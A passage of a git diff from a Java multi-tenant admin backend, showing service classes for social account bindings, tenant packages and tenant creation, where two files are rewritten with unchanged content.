@Override + public Boolean insertByBo(SysSocialBo bo) { + SysSocial add = MapstructUtils.convert(bo, SysSocial.class); + validEntityBeforeSave(add); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + if (add != null) { + bo.setId(add.getId()); + } else { + return false; + } + } + return flag; + } + + /** + * 更新社会化关系 + */ + @Override + public Boolean updateByBo(SysSocialBo bo) { + SysSocial update = MapstructUtils.convert(bo, SysSocial.class); + validEntityBeforeSave(update); + return baseMapper.updateById(update) > 0; + } + + /** + * 保存前的数据校验 + */ + private void validEntityBeforeSave(SysSocial entity) { + //TODO 做一些数据校验,如唯一约束 + } + + + /** + * 删除社会化关系 + */ + @Override + public Boolean deleteWithValidById(Long id) { + return baseMapper.deleteById(id) > 0; + } + + + /** + * 根据 authId 查询用户信息 + * + * @param authId 认证id + * @return 授权信息 + */ + @Override + public List selectByAuthId(String authId) { + return baseMapper.selectVoList(new LambdaQueryWrapper().eq(SysSocial::getAuthId, authId)); + } + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysTenantPackageServiceImpl.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysTenantPackageServiceImpl.java index 8d69e96..5ad3223 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysTenantPackageServiceImpl.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysTenantPackageServiceImpl.java @@ -1,157 +1,157 @@ -package org.dromara.system.service.impl; - -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.util.ObjectUtil; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.constant.SystemConstants; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.system.domain.SysTenant; -import org.dromara.system.domain.SysTenantPackage; -import org.dromara.system.domain.bo.SysTenantPackageBo; -import org.dromara.system.domain.vo.SysTenantPackageVo; -import org.dromara.system.mapper.SysTenantMapper; -import org.dromara.system.mapper.SysTenantPackageMapper; -import org.dromara.system.service.ISysTenantPackageService; -import org.springframework.stereotype.Service; -import org.springframework.transaction.annotation.Transactional; - -import java.util.Arrays; -import java.util.Collection; -import java.util.List; - -/** - * 租户套餐Service业务层处理 - * - * @author Michelle.Chung - */ -@RequiredArgsConstructor -@Service -public class SysTenantPackageServiceImpl implements ISysTenantPackageService { - - private final SysTenantPackageMapper baseMapper; - private final SysTenantMapper tenantMapper; - - /** - * 查询租户套餐 - */ - @Override - public SysTenantPackageVo queryById(Long packageId){ - return baseMapper.selectVoById(packageId); - } - - /** - * 查询租户套餐列表 - */ - @Override - public TableDataInfo queryPageList(SysTenantPackageBo bo, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); - return TableDataInfo.build(result); - } - - @Override - public List selectList() { - return baseMapper.selectVoList(new LambdaQueryWrapper() - .eq(SysTenantPackage::getStatus, SystemConstants.NORMAL)); - } - - /** - * 查询租户套餐列表 - */ - @Override - public List queryList(SysTenantPackageBo bo) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - return baseMapper.selectVoList(lqw); - } - - private LambdaQueryWrapper buildQueryWrapper(SysTenantPackageBo bo) { - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.like(StringUtils.isNotBlank(bo.getPackageName()), SysTenantPackage::getPackageName, bo.getPackageName()); - lqw.eq(StringUtils.isNotBlank(bo.getStatus()), SysTenantPackage::getStatus, bo.getStatus()); - lqw.orderByAsc(SysTenantPackage::getPackageId); - return lqw; - } - - /** - * 新增租户套餐 - */ - @Override - @Transactional(rollbackFor = Exception.class) - public Boolean insertByBo(SysTenantPackageBo bo) { - SysTenantPackage add = MapstructUtils.convert(bo, SysTenantPackage.class); - // 保存菜单id - List menuIds = Arrays.asList(bo.getMenuIds()); - if (CollUtil.isNotEmpty(menuIds)) { - add.setMenuIds(StringUtils.join(menuIds, ", ")); - } else { - add.setMenuIds(""); - } - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - bo.setPackageId(add.getPackageId()); - } - return flag; - } - - /** - * 修改租户套餐 - */ - @Override - @Transactional(rollbackFor = Exception.class) - public Boolean updateByBo(SysTenantPackageBo bo) { - SysTenantPackage update = MapstructUtils.convert(bo, SysTenantPackage.class); - // 保存菜单id - List menuIds = Arrays.asList(bo.getMenuIds()); - if (CollUtil.isNotEmpty(menuIds)) { - update.setMenuIds(StringUtils.join(menuIds, ", ")); - } else { - update.setMenuIds(""); - } - return baseMapper.updateById(update) > 0; - } - - /** - * 校验套餐名称是否唯一 - */ - @Override - public boolean checkPackageNameUnique(SysTenantPackageBo bo) { - boolean exist = baseMapper.exists(new LambdaQueryWrapper() - .eq(SysTenantPackage::getPackageName, bo.getPackageName()) - .ne(ObjectUtil.isNotNull(bo.getPackageId()), SysTenantPackage::getPackageId, bo.getPackageId())); - return !exist; - } - - /** - * 修改套餐状态 - * - * @param bo 套餐信息 - * @return 结果 - */ - @Override - public int updatePackageStatus(SysTenantPackageBo bo) { - SysTenantPackage tenantPackage = MapstructUtils.convert(bo, SysTenantPackage.class); - return baseMapper.updateById(tenantPackage); - } - - /** - * 批量删除租户套餐 - */ - @Override - @Transactional(rollbackFor = Exception.class) - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - if(isValid){ - boolean exists = tenantMapper.exists(new LambdaQueryWrapper().in(SysTenant::getPackageId, ids)); - if (exists) { - throw new ServiceException("租户套餐已被使用"); - } - } - return baseMapper.deleteByIds(ids) > 0; - } -} +package org.dromara.system.service.impl; + +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.util.ObjectUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.constant.SystemConstants; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.system.domain.SysTenant; +import org.dromara.system.domain.SysTenantPackage; +import org.dromara.system.domain.bo.SysTenantPackageBo; +import org.dromara.system.domain.vo.SysTenantPackageVo; +import org.dromara.system.mapper.SysTenantMapper; +import org.dromara.system.mapper.SysTenantPackageMapper; +import org.dromara.system.service.ISysTenantPackageService; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; + +import java.util.Arrays; +import java.util.Collection; +import java.util.List; + +/** + * 租户套餐Service业务层处理 + * + * @author Michelle.Chung + */ +@RequiredArgsConstructor +@Service +public class SysTenantPackageServiceImpl implements ISysTenantPackageService { + + private final SysTenantPackageMapper baseMapper; + private final SysTenantMapper tenantMapper; + + /** + * 查询租户套餐 + */ + @Override + public SysTenantPackageVo queryById(Long packageId){ + return baseMapper.selectVoById(packageId); + } + + /** + * 查询租户套餐列表 + */ + @Override + public TableDataInfo queryPageList(SysTenantPackageBo bo, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); + return TableDataInfo.build(result); + } + + @Override + public List selectList() { + return baseMapper.selectVoList(new LambdaQueryWrapper() + .eq(SysTenantPackage::getStatus, SystemConstants.NORMAL)); + } + + /** + * 查询租户套餐列表 + */ + @Override + public List queryList(SysTenantPackageBo bo) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + return baseMapper.selectVoList(lqw); + } + + private LambdaQueryWrapper buildQueryWrapper(SysTenantPackageBo bo) { + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.like(StringUtils.isNotBlank(bo.getPackageName()), SysTenantPackage::getPackageName, bo.getPackageName()); + lqw.eq(StringUtils.isNotBlank(bo.getStatus()), SysTenantPackage::getStatus, bo.getStatus()); + lqw.orderByAsc(SysTenantPackage::getPackageId); + return lqw; + } + + /** + * 新增租户套餐 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public Boolean insertByBo(SysTenantPackageBo bo) { + SysTenantPackage add = MapstructUtils.convert(bo, SysTenantPackage.class); + // 保存菜单id + List menuIds = Arrays.asList(bo.getMenuIds()); + if (CollUtil.isNotEmpty(menuIds)) { + add.setMenuIds(StringUtils.join(menuIds, ", ")); + } else { + add.setMenuIds(""); + } + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setPackageId(add.getPackageId()); + } + return flag; + } + + /** + * 修改租户套餐 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public Boolean updateByBo(SysTenantPackageBo bo) { + SysTenantPackage update = MapstructUtils.convert(bo, SysTenantPackage.class); + // 保存菜单id + List menuIds = Arrays.asList(bo.getMenuIds()); + if (CollUtil.isNotEmpty(menuIds)) { + update.setMenuIds(StringUtils.join(menuIds, ", ")); + } else { + update.setMenuIds(""); + } + return baseMapper.updateById(update) > 0; + } + + /** + * 校验套餐名称是否唯一 + */ + @Override + public boolean checkPackageNameUnique(SysTenantPackageBo bo) { + boolean exist = baseMapper.exists(new LambdaQueryWrapper() + .eq(SysTenantPackage::getPackageName, bo.getPackageName()) + .ne(ObjectUtil.isNotNull(bo.getPackageId()), SysTenantPackage::getPackageId, bo.getPackageId())); + return !exist; + } + + /** + * 修改套餐状态 + * + * @param bo 套餐信息 + * @return 结果 + */ + @Override + public int updatePackageStatus(SysTenantPackageBo bo) { + SysTenantPackage tenantPackage = MapstructUtils.convert(bo, SysTenantPackage.class); + return baseMapper.updateById(tenantPackage); + } + + /** + * 批量删除租户套餐 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + if(isValid){ + boolean exists = tenantMapper.exists(new LambdaQueryWrapper().in(SysTenant::getPackageId, ids)); + if (exists) { + throw new ServiceException("租户套餐已被使用"); + } + } + return baseMapper.deleteByIds(ids) > 0; + } +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysTenantServiceImpl.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysTenantServiceImpl.java index 4e3808f..61319da 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysTenantServiceImpl.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysTenantServiceImpl.java @@ -1,475 +1,475 @@ -package org.dromara.system.service.impl; - -import cn.dev33.satoken.secure.BCrypt; -import cn.hutool.core.bean.BeanUtil; -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.convert.Convert; -import cn.hutool.core.util.ObjectUtil; -import cn.hutool.core.util.RandomUtil; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.constant.CacheNames; -import org.dromara.common.core.constant.Constants; -import org.dromara.common.core.constant.SystemConstants; -import org.dromara.common.core.constant.TenantConstants; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.SpringUtils; -import org.dromara.common.core.utils.StreamUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.redis.utils.CacheUtils; -import org.dromara.common.tenant.core.TenantEntity; -import org.dromara.common.tenant.helper.TenantHelper; -import org.dromara.system.domain.*; -import org.dromara.system.domain.bo.SysTenantBo; -import org.dromara.system.domain.vo.SysTenantVo; -import org.dromara.system.mapper.*; -import org.dromara.system.service.ISysTenantService; -import org.springframework.cache.annotation.CacheEvict; -import org.springframework.cache.annotation.Cacheable; -import org.springframework.stereotype.Service; -import org.springframework.transaction.annotation.Transactional; - -import java.util.*; - -/** - * 租户Service业务层处理 - * - * @author Michelle.Chung - */ -@RequiredArgsConstructor -@Service -public class SysTenantServiceImpl implements ISysTenantService { - - private final SysTenantMapper baseMapper; - private final SysTenantPackageMapper tenantPackageMapper; - private final SysUserMapper userMapper; - private final SysDeptMapper deptMapper; - private final SysRoleMapper roleMapper; - private final SysRoleMenuMapper roleMenuMapper; - private final SysRoleDeptMapper roleDeptMapper; - private final SysUserRoleMapper userRoleMapper; - private final SysDictTypeMapper dictTypeMapper; - private final SysDictDataMapper dictDataMapper; - private final SysConfigMapper configMapper; - - /** - * 查询租户 - */ - @Override - public SysTenantVo queryById(Long id) { - return baseMapper.selectVoById(id); - } - - /** - * 基于租户ID查询租户 - */ - @Cacheable(cacheNames = CacheNames.SYS_TENANT, key = "#tenantId") - @Override - public SysTenantVo queryByTenantId(String tenantId) { - return baseMapper.selectVoOne(new LambdaQueryWrapper().eq(SysTenant::getTenantId, tenantId)); - } - - /** - * 基于租户编码查询租户 - * @param tenantCode - * @return - */ - @Override - public SysTenantVo queryByTenantCode(String tenantCode) { - return baseMapper.selectVoOne(new LambdaQueryWrapper().eq(SysTenant::getTenantCode, tenantCode)); - } - - /** - * 查询租户列表 - */ - @Override - public TableDataInfo queryPageList(SysTenantBo bo, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); - return TableDataInfo.build(result); - } - - /** - * 查询租户列表 - */ - @Override - public List queryList(SysTenantBo bo) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - return baseMapper.selectVoList(lqw); - } - - private LambdaQueryWrapper buildQueryWrapper(SysTenantBo bo) { - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.eq(StringUtils.isNotBlank(bo.getTenantId()), SysTenant::getTenantId, bo.getTenantId()); - lqw.like(StringUtils.isNotBlank(bo.getContactUserName()), SysTenant::getContactUserName, bo.getContactUserName()); - lqw.eq(StringUtils.isNotBlank(bo.getContactPhone()), SysTenant::getContactPhone, bo.getContactPhone()); - lqw.like(StringUtils.isNotBlank(bo.getCompanyName()), SysTenant::getCompanyName, bo.getCompanyName()); - lqw.eq(StringUtils.isNotBlank(bo.getLicenseNumber()), SysTenant::getLicenseNumber, bo.getLicenseNumber()); - lqw.eq(StringUtils.isNotBlank(bo.getAddress()), SysTenant::getAddress, bo.getAddress()); - lqw.eq(StringUtils.isNotBlank(bo.getIntro()), SysTenant::getIntro, bo.getIntro()); - lqw.like(StringUtils.isNotBlank(bo.getDomain()), SysTenant::getDomain, bo.getDomain()); - lqw.eq(bo.getPackageId() != null, SysTenant::getPackageId, bo.getPackageId()); - lqw.eq(bo.getExpireTime() != null, SysTenant::getExpireTime, bo.getExpireTime()); - lqw.eq(bo.getAccountCount() != null, SysTenant::getAccountCount, bo.getAccountCount()); - lqw.eq(StringUtils.isNotBlank(bo.getStatus()), SysTenant::getStatus, bo.getStatus()); - lqw.orderByAsc(SysTenant::getId); - return lqw; - } - - /** - * 新增租户 - */ - @Override - @Transactional(rollbackFor = Exception.class) - public Boolean insertByBo(SysTenantBo bo) { - SysTenant add = MapstructUtils.convert(bo, SysTenant.class); - - // 获取所有租户编号 - List tenantIds = baseMapper.selectObjs( - new LambdaQueryWrapper().select(SysTenant::getTenantId), x -> {return Convert.toStr(x);}); - String tenantId = generateTenantId(tenantIds); - add.setTenantId(tenantId); - boolean flag = baseMapper.insert(add) > 0; - if (!flag) { - throw new ServiceException("创建租户失败"); - } - bo.setId(add.getId()); - - // 根据套餐创建角色 - Long roleId = createTenantRole(tenantId, bo.getPackageId()); - - // 创建部门: 公司名是部门名称 - SysDept dept = new SysDept(); - dept.setTenantId(tenantId); - dept.setDeptName(bo.getCompanyName()); - dept.setParentId(Constants.TOP_PARENT_ID); - dept.setAncestors(Constants.TOP_PARENT_ID.toString()); - deptMapper.insert(dept); - Long deptId = dept.getDeptId(); - - // 角色和部门关联表 - SysRoleDept roleDept = new SysRoleDept(); - roleDept.setRoleId(roleId); - roleDept.setDeptId(deptId); - roleDeptMapper.insert(roleDept); - - // 创建系统用户 - SysUser user = new SysUser(); - user.setTenantId(tenantId); - user.setUserName(bo.getUsername()); - user.setNickName(bo.getUsername()); - user.setPassword(BCrypt.hashpw(bo.getPassword())); - user.setDeptId(deptId); - userMapper.insert(user); - //新增系统用户后,默认当前用户为部门的负责人 - SysDept sd = new SysDept(); - sd.setLeader(user.getUserId()); - sd.setDeptId(deptId); - deptMapper.updateById(sd); - - // 用户和角色关联表 - SysUserRole userRole = new SysUserRole(); - userRole.setUserId(user.getUserId()); - userRole.setRoleId(roleId); - userRoleMapper.insert(userRole); - - String defaultTenantId = TenantConstants.DEFAULT_TENANT_ID; - List dictTypeList = dictTypeMapper.selectList( - new LambdaQueryWrapper().eq(SysDictType::getTenantId, defaultTenantId)); - List dictDataList = dictDataMapper.selectList( - new LambdaQueryWrapper().eq(SysDictData::getTenantId, defaultTenantId)); - for (SysDictType dictType : dictTypeList) { - dictType.setDictId(null); - dictType.setTenantId(tenantId); - } - for (SysDictData dictData : dictDataList) { - dictData.setDictCode(null); - dictData.setTenantId(tenantId); - } - dictTypeMapper.insertBatch(dictTypeList); - dictDataMapper.insertBatch(dictDataList); - - List sysConfigList = configMapper.selectList( - new LambdaQueryWrapper().eq(SysConfig::getTenantId, defaultTenantId)); - for (SysConfig config : sysConfigList) { - config.setConfigId(null); - config.setTenantId(tenantId); - } - configMapper.insertBatch(sysConfigList); - return true; - } - - /** - * 生成租户id - * - * @param tenantIds 已有租户id列表 - * @return 租户id - */ - private String generateTenantId(List tenantIds) { - // 随机生成6位 - String numbers = RandomUtil.randomNumbers(6); - // 判断是否存在,如果存在则重新生成 - if (tenantIds.contains(numbers)) { - return generateTenantId(tenantIds); - } - return numbers; - } - - /** - * 根据租户菜单创建租户角色 - * - * @param tenantId 租户编号 - * @param packageId 租户套餐id - * @return 角色id - */ - private Long createTenantRole(String tenantId, Long packageId) { - // 获取租户套餐 - SysTenantPackage tenantPackage = tenantPackageMapper.selectById(packageId); - if (ObjectUtil.isNull(tenantPackage)) { - throw new ServiceException("套餐不存在"); - } - // 获取套餐菜单id - List menuIds = StringUtils.splitTo(tenantPackage.getMenuIds(), Convert::toLong); - - // 创建角色 - SysRole role = new SysRole(); - role.setTenantId(tenantId); - role.setRoleName(TenantConstants.TENANT_ADMIN_ROLE_NAME); - role.setRoleKey(TenantConstants.TENANT_ADMIN_ROLE_KEY); - role.setRoleSort(1); - role.setStatus(SystemConstants.NORMAL); - roleMapper.insert(role); - Long roleId = role.getRoleId(); - - // 创建角色菜单 - List roleMenus = new ArrayList<>(menuIds.size()); - menuIds.forEach(menuId -> { - SysRoleMenu roleMenu = new SysRoleMenu(); - roleMenu.setRoleId(roleId); - roleMenu.setMenuId(menuId); - roleMenus.add(roleMenu); - }); - roleMenuMapper.insertBatch(roleMenus); - - return roleId; - } - - /** - * 修改租户 - */ - @CacheEvict(cacheNames = CacheNames.SYS_TENANT, key = "#bo.tenantId") - @Override - public Boolean updateByBo(SysTenantBo bo) { - SysTenant tenant = MapstructUtils.convert(bo, SysTenant.class); - tenant.setTenantId(null); - tenant.setPackageId(null); - return baseMapper.updateById(tenant) > 0; - } - - /** - * 修改租户状态 - * - * @param bo 租户信息 - * @return 结果 - */ - @CacheEvict(cacheNames = CacheNames.SYS_TENANT, key = "#bo.tenantId") - @Override - public int updateTenantStatus(SysTenantBo bo) { - SysTenant tenant = new SysTenant(); - tenant.setId(bo.getId()); - tenant.setStatus(bo.getStatus()); - return baseMapper.updateById(tenant); - } - - /** - * 校验租户是否允许操作 - * - * @param tenantId 租户ID - */ - @Override - public void checkTenantAllowed(String tenantId) { - if (ObjectUtil.isNotNull(tenantId) && TenantConstants.DEFAULT_TENANT_ID.equals(tenantId)) { - throw new ServiceException("不允许操作管理租户"); - } - } - - /** - * 批量删除租户 - */ - @CacheEvict(cacheNames = CacheNames.SYS_TENANT, allEntries = true) - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - if (isValid) { - // 做一些业务上的校验,判断是否需要校验 - if (ids.contains(TenantConstants.SUPER_ADMIN_ID)) { - throw new ServiceException("超管租户不能删除"); - } - } - return baseMapper.deleteByIds(ids) > 0; - } - - /** - * 校验企业名称是否唯一 - */ - @Override - public boolean checkCompanyNameUnique(SysTenantBo bo) { - boolean exist = baseMapper.exists(new LambdaQueryWrapper() - .eq(SysTenant::getCompanyName, bo.getCompanyName()) - .ne(ObjectUtil.isNotNull(bo.getTenantId()), SysTenant::getTenantId, bo.getTenantId())); - return !exist; - } - - /** - * 校验账号余额 - */ - @Override - public boolean checkAccountBalance(String tenantId) { - SysTenantVo tenant = SpringUtils.getAopProxy(this).queryByTenantId(tenantId); - // 如果余额为-1代表不限制 - if (tenant.getAccountCount() == -1) { - return true; - } - Long userNumber = userMapper.selectCount(new LambdaQueryWrapper<>()); - // 如果余额大于0代表还有可用名额 - return tenant.getAccountCount() - userNumber > 0; - } - - /** - * 校验有效期 - */ - @Override - public boolean checkExpireTime(String tenantId) { - SysTenantVo tenant = SpringUtils.getAopProxy(this).queryByTenantId(tenantId); - // 如果未设置过期时间代表不限制 - if (ObjectUtil.isNull(tenant.getExpireTime())) { - return true; - } - // 如果当前时间在过期时间之前则通过 - return new Date().before(tenant.getExpireTime()); - } - - /** - * 同步租户套餐 - */ - @Override - @Transactional(rollbackFor = Exception.class) - public Boolean syncTenantPackage(String tenantId, Long packageId) { - SysTenantPackage tenantPackage = tenantPackageMapper.selectById(packageId); - List roles = roleMapper.selectList( - new LambdaQueryWrapper().eq(SysRole::getTenantId, tenantId)); - List roleIds = new ArrayList<>(roles.size() - 1); - List menuIds = StringUtils.splitTo(tenantPackage.getMenuIds(), Convert::toLong); - roles.forEach(item -> { - if (TenantConstants.TENANT_ADMIN_ROLE_KEY.equals(item.getRoleKey())) { - List roleMenus = new ArrayList<>(menuIds.size()); - menuIds.forEach(menuId -> { - SysRoleMenu roleMenu = new SysRoleMenu(); - roleMenu.setRoleId(item.getRoleId()); - roleMenu.setMenuId(menuId); - roleMenus.add(roleMenu); - }); - roleMenuMapper.delete(new LambdaQueryWrapper().eq(SysRoleMenu::getRoleId, item.getRoleId())); - roleMenuMapper.insertBatch(roleMenus); - } else { - roleIds.add(item.getRoleId()); - } - }); - if (!roleIds.isEmpty()) { - roleMenuMapper.delete( - new LambdaQueryWrapper().in(SysRoleMenu::getRoleId, roleIds).notIn(!menuIds.isEmpty(), SysRoleMenu::getMenuId, menuIds)); - } - return true; - } - - /** - * 同步租户字典 - */ - @Transactional(rollbackFor = Exception.class) - @Override - public void syncTenantDict() { - // 查询超管 所有字典数据 - List dictTypeList = new ArrayList<>(); - List dictDataList = new ArrayList<>(); - TenantHelper.ignore(() -> { - dictTypeList.addAll(dictTypeMapper.selectList()); - dictDataList.addAll(dictDataMapper.selectList()); - }); - Map> typeMap = StreamUtils.groupByKey(dictTypeList, TenantEntity::getTenantId); - Map>> typeDataMap = StreamUtils.groupBy2Key( - dictDataList, TenantEntity::getTenantId, SysDictData::getDictType); - // 管理租户字典数据 - List defaultTypeMap = typeMap.get(TenantConstants.DEFAULT_TENANT_ID); - Map> defaultTypeDataMap = typeDataMap.get(TenantConstants.DEFAULT_TENANT_ID); - - // 获取所有租户编号 - List tenantIds = baseMapper.selectObjs( - new LambdaQueryWrapper().select(SysTenant::getTenantId) - .eq(SysTenant::getStatus, SystemConstants.NORMAL), x -> {return Convert.toStr(x);}); - List saveTypeList = new ArrayList<>(); - List saveDataList = new ArrayList<>(); - Set set = new HashSet<>(); - for (String tenantId : tenantIds) { - if (TenantConstants.DEFAULT_TENANT_ID.equals(tenantId)) { - continue; - } - for (SysDictType dictType : defaultTypeMap) { - List typeList = StreamUtils.toList(typeMap.get(tenantId), SysDictType::getDictType); - List dataList = defaultTypeDataMap.get(dictType.getDictType()); - if (typeList.contains(dictType.getDictType())) { - List dataListTenant = typeDataMap.get(tenantId).get(dictType.getDictType()); - Map map = StreamUtils.toIdentityMap(dataListTenant, SysDictData::getDictValue); - for (SysDictData dictData : dataList) { - if (!map.containsKey(dictData.getDictValue())) { - SysDictData data = BeanUtil.toBean(dictData, SysDictData.class); - // 设置字典编码为 null - data.setDictCode(null); - data.setTenantId(tenantId); - data.setCreateTime(null); - data.setUpdateTime(null); - set.add(tenantId); - saveDataList.add(data); - } - } - } else { - SysDictType type = BeanUtil.toBean(dictType, SysDictType.class); - type.setDictId(null); - type.setTenantId(tenantId); - type.setCreateTime(null); - type.setUpdateTime(null); - set.add(tenantId); - saveTypeList.add(type); - if (CollUtil.isNotEmpty(dataList)) { - // 筛选出 dictType 对应的 data - for (SysDictData dictData : dataList) { - SysDictData data = BeanUtil.toBean(dictData, SysDictData.class); - // 设置字典编码为 null - data.setDictCode(null); - data.setTenantId(tenantId); - data.setCreateTime(null); - data.setUpdateTime(null); - set.add(tenantId); - saveDataList.add(data); - } - } - } - } - } - TenantHelper.ignore(() -> { - if (CollUtil.isNotEmpty(saveTypeList)) { - dictTypeMapper.insertBatch(saveTypeList); - } - if (CollUtil.isNotEmpty(saveDataList)) { - dictDataMapper.insertBatch(saveDataList); - } - }); - for (String tenantId : set) { - TenantHelper.dynamic(tenantId, () -> CacheUtils.clear(CacheNames.SYS_DICT)); - } - } - -} +package org.dromara.system.service.impl; + +import cn.dev33.satoken.secure.BCrypt; +import cn.hutool.core.bean.BeanUtil; +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.convert.Convert; +import cn.hutool.core.util.ObjectUtil; +import cn.hutool.core.util.RandomUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.constant.CacheNames; +import org.dromara.common.core.constant.Constants; +import org.dromara.common.core.constant.SystemConstants; +import org.dromara.common.core.constant.TenantConstants; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.SpringUtils; +import org.dromara.common.core.utils.StreamUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.redis.utils.CacheUtils; +import org.dromara.common.tenant.core.TenantEntity; +import org.dromara.common.tenant.helper.TenantHelper; +import org.dromara.system.domain.*; +import org.dromara.system.domain.bo.SysTenantBo; +import org.dromara.system.domain.vo.SysTenantVo; +import org.dromara.system.mapper.*; +import org.dromara.system.service.ISysTenantService; +import org.springframework.cache.annotation.CacheEvict; +import org.springframework.cache.annotation.Cacheable; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; + +import java.util.*; + +/** + * 租户Service业务层处理 + * + * @author Michelle.Chung + */ +@RequiredArgsConstructor +@Service +public class SysTenantServiceImpl implements ISysTenantService { + + private final SysTenantMapper baseMapper; + private final SysTenantPackageMapper tenantPackageMapper; + private final SysUserMapper userMapper; + private final SysDeptMapper deptMapper; + private final SysRoleMapper roleMapper; + private final SysRoleMenuMapper roleMenuMapper; + private final SysRoleDeptMapper roleDeptMapper; + private final SysUserRoleMapper userRoleMapper; + private final SysDictTypeMapper dictTypeMapper; + private final SysDictDataMapper dictDataMapper; + private final SysConfigMapper configMapper; + + /** + * 查询租户 + */ + @Override + public SysTenantVo queryById(Long id) { + return baseMapper.selectVoById(id); + } + + /** + * 基于租户ID查询租户 + */ + @Cacheable(cacheNames = CacheNames.SYS_TENANT, key = "#tenantId") + @Override + public SysTenantVo queryByTenantId(String tenantId) { + return baseMapper.selectVoOne(new LambdaQueryWrapper().eq(SysTenant::getTenantId, tenantId)); + } + + /** + * 基于租户编码查询租户 + * @param tenantCode + * @return + */ + @Override + public SysTenantVo queryByTenantCode(String tenantCode) { + return baseMapper.selectVoOne(new LambdaQueryWrapper().eq(SysTenant::getTenantCode, tenantCode)); + } + + /** + * 查询租户列表 + */ + @Override + public TableDataInfo queryPageList(SysTenantBo bo, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); + return TableDataInfo.build(result); + } + + /** + * 查询租户列表 + */ + @Override + public List queryList(SysTenantBo bo) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + return baseMapper.selectVoList(lqw); + } + + private LambdaQueryWrapper buildQueryWrapper(SysTenantBo bo) { + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.eq(StringUtils.isNotBlank(bo.getTenantId()), SysTenant::getTenantId, bo.getTenantId()); + lqw.like(StringUtils.isNotBlank(bo.getContactUserName()), SysTenant::getContactUserName, bo.getContactUserName()); + lqw.eq(StringUtils.isNotBlank(bo.getContactPhone()), SysTenant::getContactPhone, bo.getContactPhone()); + lqw.like(StringUtils.isNotBlank(bo.getCompanyName()), SysTenant::getCompanyName, bo.getCompanyName()); + lqw.eq(StringUtils.isNotBlank(bo.getLicenseNumber()), SysTenant::getLicenseNumber, bo.getLicenseNumber()); + lqw.eq(StringUtils.isNotBlank(bo.getAddress()), SysTenant::getAddress, bo.getAddress()); + 